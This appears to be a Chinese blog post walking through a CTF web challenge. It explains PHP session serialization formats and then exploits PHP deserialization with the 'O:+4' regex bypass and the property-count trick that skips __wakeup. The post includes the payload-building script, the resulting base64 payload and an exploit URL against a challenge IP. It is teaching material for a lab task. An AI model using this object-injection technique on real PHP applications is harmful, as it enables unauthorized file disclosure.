CTFweb篇-反序列化和SESSION(一)

前面讲到过一点SESSION,这里要继续说一点

SESSION的几种形式

在这里插入图片描述
这里是binary
session的形成方法可以在php.ini中设置。默认是php(可能是php_serialize)
例子:
在这里插入图片描述

php形式:
在这里插入图片描述
php_serialize形式:
在这里插入图片描述
php_binary:
在这里插入图片描述

ini_set()

ini_set ( string $varname , string $newvalue )
在配置文件中设置配置的值

ini_set('session.serialize_handles','php')

session_start()

用于初始化session数据,我们在使用session时,经常要使用到_SESSION变量,_SESSION是服务器端的cookie,相当一个大数组(浏览器关闭前,和session销毁前).
在用这个函数后,session值会被反序列化,然后就可以用_session数组变量。

反序列化和序列化

什么是序列化和反序列化

序列化就是将object或者array转化为字符串
反序列化就是将字符串转化为object和array

主要讨论反序列化

序列化格式

例如:(以php_serialize为例)
数组型:
在这里插入图片描述
a:代表array
1:数组里面有1个键值对
s:string
4就是后面name的长度
对象型:
在这里插入图片描述
O:class
4:就是对象名的长度
Demo:对象名
Demofile:就是Demo下的一个变量。
1:属性个数。
s:string
注意s后面的长度是10,不是8,因为Demo前后都有个空格,这是url编码造成的。
其它具体的我也没有去了解了,需要了再说。

反序列化常用漏洞

绕过匹配
在这里插入图片描述
分析代码,无非就是做两个简单绕过
1、绕过正则
这里可以通过O:4变为O:+4的方法进行篡改,在php中,对这种篡改默认正确
2、绕过$this->file != ‘index.php’
php中可以将代表属性个数的数值改变,因为php中规定只要反序列化这个数值不同,当__wakeup函数不触发。

综上:这道题就可以通过建立f14g.php的Demo对象来进行:

<?php
class Demo {
 private $file = 'index.php';
 public function __construct($file) {
 $this->file = $file;
 }
 function __destruct() {
 echo @highlight_file($this->file, true);
 }
 function __wakeup() {
 if ($this->file != 'index.php') {
 //the secret is in the fl4g.php
 $this->file = 'index.php';
 }
 }
}
$flag = new Demo('fl4g.php');
$flag = serialize($flag);
$flag = str_replace('O:4', 'O:+4',$flag); // 绕过正则
$flag = str_replace(':1:', ':2:' ,$flag); //绕过
wakeup 函数
echo base64_encode($flag); //对参数进行 base 编码
?> 

得到TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

得到payload:
http://220.249.52.133:50565/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
在这里插入图片描述
这里显示flag是因为最后对象被销毁,触发了__destruct()函数

总结

反序列化多用于魔术方法中。
应该了解到何时__wakeup函数不会触发

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值